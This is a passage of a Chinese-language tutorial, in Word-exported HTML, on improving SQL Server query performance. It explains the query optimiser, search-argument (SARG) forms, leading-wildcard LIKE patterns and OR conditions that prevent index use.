style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"><o:p>&nbsp;</o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 黑体">二、改善<SPAN>SQL</SPAN>语句<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">很多人不知道<SPAN>SQL</SPAN>语句在<SPAN>SQL SERVER</SPAN>中是如何执行的，他们担心自己所写的<SPAN>SQL</SPAN>语句会被<SPAN>SQL SERVER</SPAN>误解。比如：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32pt; mso-char-indent-count: 2.0"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select * from table1 where name='zhangsan' and tID &gt; 10000<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">和执行<SPAN>:<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">select * from table1 where tID &gt; 10000 and name='zhangsan'<o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">一些人不知道以上两条语句的执行效率是否一样，因为如果简单的从语句先后上看，这两个语句的确是不一样，如果<SPAN>tID</SPAN>是一个聚合索引，那么后一句仅仅从表的<SPAN>10000</SPAN>条以后的记录中查找就行了；而前一句则要先从全表中查找看有几个<SPAN>name='zhangsan'</SPAN>的，而后再根据限制条件条件<SPAN>tID&gt;10000</SPAN>来提出查询结果。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">事实上，这样的担心是不必要的。<SPAN>SQL SERVER</SPAN>中有一个“查询分析优化器”，它可以计算出<SPAN>where</SPAN>子句中的搜索条件并确定哪个索引能缩小表扫描的搜索空间，也就是说，它能实现自动优化。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">虽然查询优化器可以根据<SPAN>where</SPAN>子句自动的进行查询优化，但大家仍然有必要了解一下“查询优化器”的工作原理，如非这样，有时查询优化器就会不按照您的本意进行快速查询。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">在查询分析阶段，查询优化器查看查询的每个阶段并决定限制需要扫描的数据量是否有用。如果一个阶段可以被用作一个扫描参数（<SPAN>SARG</SPAN>），那么就称之为可优化的，并且可以利用索引快速获得所需数据。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">SARG</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">的定义：用于限制搜索的一个操作，因为它通常是指一个特定的匹配，一个值得范围内的匹配或者两个以上条件的<SPAN>AND</SPAN>连接。形式如下：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">列名 操作符<SPAN> &lt;</SPAN>常数 或 变量<SPAN>&gt;<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 64pt; mso-char-indent-count: 4.0"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">或<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">&lt;</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">常数 或 变量<SPAN>&gt; </SPAN>操作符列名<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">列名可以出现在操作符的一边，而常数或变量出现在操作符的另一边。如：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">Name=</SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">张三</SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"><o:p></o:p></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">价格<SPAN>&gt;5000<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">5000&lt;</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">价格<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">Name=</SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">张三</SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"> and </SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">价格<SPAN>&gt;5000<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">如果一个表达式不能满足<SPAN>SARG</SPAN>的形式，那它就无法限制搜索的范围了，也就是<SPAN>SQL SERVER</SPAN>必须对每一行都判断它是否满足<SPAN>WHERE</SPAN>子句中的所有条件。所以一个索引对于不满足<SPAN>SARG</SPAN>形式的表达式来说是无用的。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">介绍完<SPAN>SARG</SPAN>后，我们来总结一下使用<SPAN>SARG</SPAN>以及在实践中遇到的和某些资料上结论不同的经验：<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">1</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、<SPAN>Like</SPAN>语句是否属于<SPAN>SARG</SPAN>取决于所使用的通配符的类型<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">如：<SPAN>name like </SPAN></SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">‘</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">张<SPAN>%</SPAN></SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"> </SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">，这就属于<SPAN>SARG<o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">而：<SPAN>name like </SPAN></SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">‘</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">%</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">张</SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"> ,</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">就不属于<SPAN>SARG</SPAN>。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">原因是通配符<SPAN>%</SPAN>在字符串的开通使得索引无法使用。<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">2</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">、<SPAN>or </SPAN>会引起全表扫描<SPAN><o:p></o:p></SPAN></SPAN></P> <P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">Name=</SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">张三</SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"> and </SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">价格<SPAN>&gt;5000 </SPAN>符号<SPAN>SARG</SPAN>，而：<SPAN>Name=</SPAN></SPAN><SPAN style="FONT-SIZE: 16pt; mso-fareast-font-family: 仿宋_GB2312; mso-ascii-font-family: 仿宋_GB2312">’</SPAN><SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312">张三</SPAN><SP